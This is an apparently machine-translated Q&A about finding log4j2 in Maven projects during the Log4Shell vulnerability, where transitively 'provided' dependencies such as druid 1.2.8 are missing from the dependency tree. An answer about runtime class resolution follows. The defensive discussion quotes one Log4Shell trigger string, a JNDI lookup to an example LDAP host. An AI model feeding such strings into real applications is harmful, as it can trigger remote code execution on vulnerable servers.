12 月 10 日,
log4j2
中发现了一个严重漏洞(CVE-2021-44228),我被要求检测我们项目(主要是 Maven 项目)中的所有 log4j
用法(直接和传递)。我发现很容易检测 log4j2
是否被列为直接依赖项。我可以通过 mvn dependency:tree
或 mvn dependency:build-classpath
检查它们。就像下图所示的树一样。我知道这也是 Eclipse Steady 和 OWASP 正在使用的方法。
我的公司:我的应用程序:v1.0
\- org.apache.logging.log4j:log4j-api:jar:2.13.3:compile
但是,在一些特殊情况下,事情就没那么容易了。例如,我有另一个这样的项目:
我的公司:我的应用程序2:v1.0
\- com.alibaba:druid:jar:1.2.8:compile
这看起来很干净,对吧?但实际上,
log4j2
被列为 druid 1.2.8
中的“提供”依赖项。检查 pom here。根据maven文档,“provided”范围不可传递,因此log4j
未在树中列出。
但实际上,它就在那里。我可以在这个里面找到log4j的函数调用
druid:1.2.8
.
我还使用
soot
来确保这个函数实际上是可以访问的。
根据这个page,任何像
${jndi:ldap://example.com/a}
这样的字符串都可能导致这样的问题。所以理论上,druid:1.2.8
被感染了。
实际的树可能是这样的
我的公司:我的应用程序2:v1.0
\- com.alibaba:druid:jar:1.2.8:编译
\-org.apache.logging.log4j:log4j-core:jar:2.13.3:提供
让我们将
log4j
和 my-app2
之间的关系定义为 传递“提供”依赖
这是我的问题:
为什么 Maven 没有在树中列出传递性提供的依赖项?只是为了更好地理解依赖关系。
如果不手动一一检查pom,我们如何解决传递提供的依赖?
java中的类和方法解析发生在运行时,即第一次引用类或方法时。如果您链接的代码在类路径上没有
Logger
或 LogManager
的情况下运行,这将导致抛出错误。如果实际上没有使用它,例如必须以某种方式手动配置它,那么这完全没问题。
另请注意,
Logger
和LogManager
都是log4j-api依赖项的一部分,而受漏洞影响的代码位于log4j-core中。对 log4j-api 的依赖应该完全没问题,并且有像 log4j-to-slf4j 这样的项目实现了这个 api 并将实际日志记录委托给不同的实现。